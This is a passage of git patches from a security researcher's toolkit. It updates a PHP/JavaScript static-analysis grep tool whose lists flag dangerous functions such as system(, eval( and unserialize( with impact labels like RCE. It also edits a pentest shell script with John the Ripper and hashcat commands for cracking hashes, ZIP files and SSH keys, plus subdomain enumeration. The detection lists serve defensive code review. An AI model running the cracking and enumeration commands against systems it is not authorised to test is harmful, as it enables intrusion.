+ "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "filter_var()": [ + "Filters a variable with a specified filter", + "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", + "Validation bypass (in certain conditions)", + "low" + ], + "file_put_contents()": [ + "Write data to a file", + "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", + "Arbitrary file write", + "high", + "source" + ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], + "SELECT.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "INSERT.*INTO": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "UPDATE.*": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "DELETE.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical", + "source" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical", + "source" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical", + "source" + ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "high", + "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "medium", + "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" + ] + } } diff --git a/pef/pef.py b/pef/pef.py index 4e1329f..80cb34a 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -37,143 +37,26 @@ import re import sys -from imports import pefdocs +from imports.pefdocs import exploitableFunctions, exploitableFunctionsDesc from imports.beautyConsole import beautyConsole -# exploitable functions -exploitableFunctions = [ - "`", - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "arse_str(", - "parse_url(", - "preg_replace(", - "create_function(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "putenv(", - "ini_set(", - "mail(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(", - "extractTo(", - "$_POST", - "$_GET", - "$_COOKIES", - "$_REQUEST", - "$_SERVER", - "$_SESSION", - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST", - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] - # allowed scan levels ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' - -def banner(): - """ - Prints welcome banner with contact info - """ - print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Source Code grep tool", - " " * 35, "-" * 16) - print("-" * 6, " https://github.com/bl4de ", - " " * 22, "-" * 16) - print("-" * 100, "\33[0m\n") - +ALLOWED_LANG = ['PHP', 'JavaScript'] +DEFAULT_LANG = 'PHP' class PefEngine: """ implements pef engine """ - def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): + def __init__(self, lang, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ + self.lang = lang # selected language self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan @@ -226,8 +109,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou meets_criteria = 0 # print legend only if there is entry in pefdocs.py - if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) + if fn and fn.strip() in exploitableFunctionsDesc[self.lang].keys(): + doc = exploitableFunctionsDesc[self.lang].get(fn.strip()) impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': @@ -265,7 +148,7 @@ def main(self, src): line = l.rstrip() if self.level: if not self.is_comment(line): - for fn in exploitableFunctions: + for fn in exploitableFunctions[self.lang]: (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) if number_of_issues is not None: res = True @@ -315,40 +198,61 @@ def print_summary(self, total_found: int) -> None: print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") -# main program -if __name__ == "__main__": +def banner(): + """ + Prints welcome banner with contact info + """ + print(beautyConsole.getColor("green") + "\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Source Code grep tool", + " " * 35, "-" * 16) + print("-" * 6, " https://github.com/bl4de ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") +def parse_arguments(): + """ + Parses command line arguments + """ parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__, + description="PHP Source Code grep tool", add_help=True ) - filename = '.' # initial value for file/dir to scan is current directory - phpfunction = '' - parser.add_argument( - "-s", "--skip-vendor", help=f"exclude ./vendor folder", action="store_true") + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-v", "--verbose", help=f"show documentation", action="store_true") + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( "-l", "--level", - help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS} if -f is set, this setting is ignored") + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS}") parser.add_argument( - "-S", "--sources", help=f"show only sources", action="store_true") + "-L", "--lang", + help=f"language: PHP, JavaScript; default: {DEFAULT_LANG}") parser.add_argument( - "-K", "--sinks", help=f"show only sinks", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sinks", help="show only sinks", action="store_true") parser.add_argument( "-f", "--function", - help=f"Search for particular PHP function (eg. unserialize)", + help="Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help=f"Directory to scan (or sinlge file, optionally)", + help="Directory to scan (or single file, optionally)", ) + return parser.parse_args() + +# main program +if __name__ == "__main__": - args = parser.parse_args() + if len(sys.argv) == 1: + print(f"{beautyConsole.getColor('red')}No arguments provided, use -h for help") + exit(1) + args = parse_arguments() + + lang = args.lang.lower() if args.lang else DEFAULT_LANG.lower() level = args.level.upper() if args.level else 'HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account @@ -361,13 +265,19 @@ def print_summary(self, total_found: int) -> None: if args.sinks: source_or_sink = 'sink' + # if no directory or file is provided, exit if args.dir is None: print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") - exit(0) + exit(1) + + # check if the langauge selected is available + if lang not in [l.lower() for l in ALLOWED_LANG]: + print(f"{beautyConsole.getColor('red')}Language {args.lang} is not supported, use one of: {', '.join(ALLOWED_LANG)}") + exit(1) filename = args.dir # main orutine starts here - engine = PefEngine(level, source_or_sink, + engine = PefEngine(lang, level, source_or_sink, filename, args.skip_vendor, args.function, args.verbose) engine.run() diff --git a/pef/test.js b/pef/test.js new file mode 100644 index 0000000..a9711a6 --- /dev/null +++ b/pef/test.js @@ -0,0 +1,5 @@ +'use strict'; +const cmd = 'console.log("Hello, World!");'; +eval(cmd); + + From b7bf0ec80922ef9339049574ed22819381328fb8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 16 Jul 2025 20:16:37 +0100 Subject: [PATCH 453/460] [s0mbra] fix paths for John The Ripper --- s0mbra.sh | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a932357..9a48152 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -77,13 +77,13 @@ http_server() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" - echo > "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then - "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi - cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } @@ -91,14 +91,14 @@ rockyou_john() { # show JohnTheRipper's pot file john_pot() { echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" - cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." - "$HACKING_HOME"/tools/JohnTheRipper/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt echo -e "\n$BLUE[s0mbra] Done." @@ -107,7 +107,7 @@ rockyou_zip() { # converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" - python "$HACKING_HOME"/tools/JohnTheRipper/run/sshng2john.py "$1" > "$1".hash + python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash From 4ed6384b5f2c24ebce8c401511206f5c8adcfd7e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 17 Jul 2025 16:56:21 +0100 Subject: [PATCH 454/460] [pef] add JavaScript sources and sinks --- pef/imports/pefdocs.py | 128 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 128 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index b48edf9..79b74a9 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -4,6 +4,22 @@ exploitableFunctions = { "javascript": [ "eval(", + "document.URL", + "document.documentURI", + "document.baseURI", + "location", + "document.cookie", + "document.referrer", + "document.write(", + "innerHTML", + "outerHTML", + "insertAdjacentHTML(", + "location.host", + "location.href", + "location.search", + "Function(", + "textContent", + "innerText", ], "php": [ "`", @@ -125,6 +141,118 @@ "RCE", "critical", "sink" + ], + "document.URL": [ + "The URL of the document", + "document.URL", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.documentURI": [ + "The documentURI property returns the URI of the document", + "document.documentURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.baseURI": [ + "The baseURI property returns the absolute base URI of the document", + "document.baseURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "location": [ + "The location property of the Window interface is a Location object, which represents the location (URL) of the object to which it is applied.", + "location", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.cookie": [ + "The cookie property of the Document interface represents the cookies of the current document.", + "document.cookie", + "XSS, CSRF, Cookie Injection", + "medium", + "source" + ], + "document.referrer": [ + "The referrer property of the Document interface returns the address of the previous document from which the current document was accessed.", + "document.referrer", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.write()": [ + "The write() method of the Document interface writes a string of text to a document stream opened by document.open().", + "document.write(text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "innerHTML": [ + "The innerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element.", + "element.innerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "outerHTML": [ + "The outerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element, including the element itself.", + "element.outerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "insertAdjacentHTML": [ + "The insertAdjacentHTML() method of the Element interface parses the specified text as HTML or XML and inserts the resulting nodes into the DOM tree at a specified position.", + "element.insertAdjacentHTML(position, text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "location.host": [ + "The host property of the Location interface returns the host and port of the URL.", + "location.host", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.href": [ + "The href property of the Location interface gets or sets the entire URL.", + "location.href", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.search": [ + "The search property of the Location interface gets or sets the query string part of the URL.", + "location.search", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "Function()": [ + "The Function() constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but it is not recommended due to security and performance reasons.", + "new Function([arg1[, arg2[, ...argN]],] functionBody)", + "RCE", + "critical", + "sink" + ], + "textContent": [ + "The textContent property of the Node interface represents the text content of the node and its descendants.", + "element.textContent", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "innerText": [ + "The innerText property of the Element interface represents the rendered text content of an element and its descendants.", + "element.innerText", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" ] }, "php": { From b12141fa673dd618da7c7a1289037152cdf1b31b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 19 Jul 2025 23:42:05 +0100 Subject: [PATCH 455/460] [s0mbra] remove unused commands --- s0mbra.sh | 33 +-------------------------------- 1 file changed, 1 insertion(+), 32 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9a48152..08d5a55 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -675,26 +675,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# extract links and API endpoints from JavaScript file -urls() { - echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg http | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - -endpoints() { - echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg -v http | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - -# extract secrets from JavaScript file -secrets() { - echo -e "$BLUE[s0mbra] Extracting secrets from $1...$CLR" - python /Users/bl4de/hacking/tools/SecretFinder/SecretFinder.py -i "$1" -o cli | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - ### menu cmd=$1 @@ -813,15 +793,6 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; - urls) - urls "$2" - ;; - endpoints) - endpoints "$2" - ;; - secrets) - secrets "$2" - ;; *) clear echo -e "$CLR" @@ -850,9 +821,7 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 5cde940a6391a4d15d8934466ca7ab85afae6531 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Sep 2025 08:17:51 +0100 Subject: [PATCH 456/460] [s0mbra] update --- Vi/vi.py | 135 ---------------------------------------------- s0mbra.sh | 8 +++ subdomain_enum.sh | 98 --------------------------------- 3 files changed, 8 insertions(+), 233 deletions(-) delete mode 100755 Vi/vi.py delete mode 100644 subdomain_enum.sh diff --git a/Vi/vi.py b/Vi/vi.py deleted file mode 100755 index 43408b9..0000000 --- a/Vi/vi.py +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env python3 -import re -import urllib.parse -from collections import deque - -import requests -import requests.exceptions -from bs4 import BeautifulSoup - -''' -Vi.py - an automated script to extract all inteersting information from website - -@author: bl4de - -@TBD: -- refactor scafolding code [In progress] -- add argparser - -- extract JavaScript files -> scan them for stuff - (API endpoints, secrets, hardcoded information etc.) -- parse HTML for stuff -- harvest useful information from any comment found (in HTML and JS alike) -- other? (TBA) -''' - - -def extract_emails(emails: set, http_response: requests.Response) -> set: - ''' - Extracts emails from provided HTTP response body and append them - to already found set of emails - ''' - emails.update(set(re.findall( - r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", http_response.text, re.IGNORECASE))) - return emails - - -def extract_javascript_files(javascript_files: set, http_response: requests.Response) -> set: - ''' - Extracts JavaScript files urls from provided HTTP response body and append them - to already found set of javascript_files - ''' - javascript_files.update(set(re.findall( - r"[a-z0-9\.\-_]+\.js", http_response.text, re.IGNORECASE - ))) - return javascript_files - - -def parse_javascript_file(js_filename: str): - ''' - Parse JavaScript file for interesting stuff - ''' - TYPE = 'DEBUG' - print(f"[{TYPE}] parsing {js_filename} for interesting stuff...") - pass - - -def tear_off(): - ''' - Performs data extraction stage - ''' - for js_filename in javascript_files: - parse_javascript_file(js_filename) - - pass - - -def recon(emails: set, javascript_files: set): - ''' - Creates list of resources; some will be proceeded later in next - steps - ''' - user_url = str(input('[+] Enter Target URL To Scan: ')) - urls = deque([user_url]) - MAX_COUNT = 2 - - scraped_urls = set() - - count = 0 - - try: - ''' - main execution loop - ''' - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) - - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) - - path = url[:url.rfind('/') + 1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) - try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files( - javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) - except KeyboardInterrupt: - print('[-] Closing!') - - for mail in emails: - print(mail) - for url in urls: - print(url) - for js_file in javascript_files: - print(js_file) - - -if __name__ == "__main__": - emails = set() - javascript_files = set() - - # go through provided url; find emails, javascript files etc. - recon(emails, javascript_files) - - # extract sensitive and interesting information from what was found - tear_off() diff --git a/s0mbra.sh b/s0mbra.sh index 08d5a55..c10bbdb 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -675,6 +675,14 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# cat <<'-md-' +# # s0mbra.sh - Recon and pentest tool + +# This script is a collection of various tools and functions for reconnaissance, pentesting, and code analysis +# It provides functionalities for network scanning, web application testing, cloud storage enumeration, and more. + +# -md- + ### menu cmd=$1 diff --git a/subdomain_enum.sh b/subdomain_enum.sh deleted file mode 100644 index daea6b3..0000000 --- a/subdomain_enum.sh +++ /dev/null @@ -1,98 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## processing all outputed list of domains into one, removing dups -## and sorting -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' __domains | tr '#' '\n' > __domains.final - rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,302,403,500 - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log -} - - -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain in single line -DOMAINS=$1 - -# IP address range -CIDR=$2 - -echo -e "$(date) subdomain_enum.sh started" >> subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - From 128236f5078a140352a24d277febdcf0ee5e2035 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Sep 2025 19:03:08 +0100 Subject: [PATCH 457/460] [s0mbra] proper temp filenames to remove after scan is done --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c10bbdb..def71a4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,8 +234,8 @@ enum() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/sublister_$DOMAIN.log - rm -f $TMPDIR/subfinder.log + rm -f $TMPDIR/enum_amass.log + rm -f $TMPDIR/enum_subfinder.log rm -f $TMPDIR/amass.tmp # httpx From 94152adbd020988862e5156ca8113fc7a8329ffc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 10 Feb 2026 18:22:44 +0000 Subject: [PATCH 458/460] commented backticks --- pef/imports/pefdocs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 79b74a9..8395d59 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -22,7 +22,7 @@ "innerText", ], "php": [ - "`", + # "`", "system(", "exec(", "popen(", From 0a18ad474e2546b40c7d8df9e47f0353ffd7e077 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 14 Apr 2026 21:20:18 +0100 Subject: [PATCH 459/460] updates --- pef/imports/pefdocs.py | 11 ++++++++++- s0mbra.sh | 6 +++--- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 8395d59..a0efbfd 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -20,6 +20,7 @@ "Function(", "textContent", "innerText", + "URLSearchParams(", ], "php": [ # "`", @@ -253,7 +254,15 @@ "XSS, HTML Injection, Content Injection etc.", "medium", "sink" - ] + ], + "URLSearchParams": [ + "The URLSearchParams interface defines utility methods to work with the query string of a URL.", + "URLSearchParams()", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "source" + ], + }, "php": { "`": [ diff --git a/s0mbra.sh b/s0mbra.sh index def71a4..c42f9ce 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -218,9 +218,9 @@ enum() { echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" # amass passive enum - echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" - amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" - cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + # echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + # amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + # cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" From 4d3b58f491114ebae0a387eba58926b24d5fbe29 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Apr 2026 15:10:17 +0100 Subject: [PATCH 460/460] [s0mbra] update --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c42f9ce..17d618a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,10 +217,10 @@ enum() { DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - # amass passive enum - # echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" - # amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" - # cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | 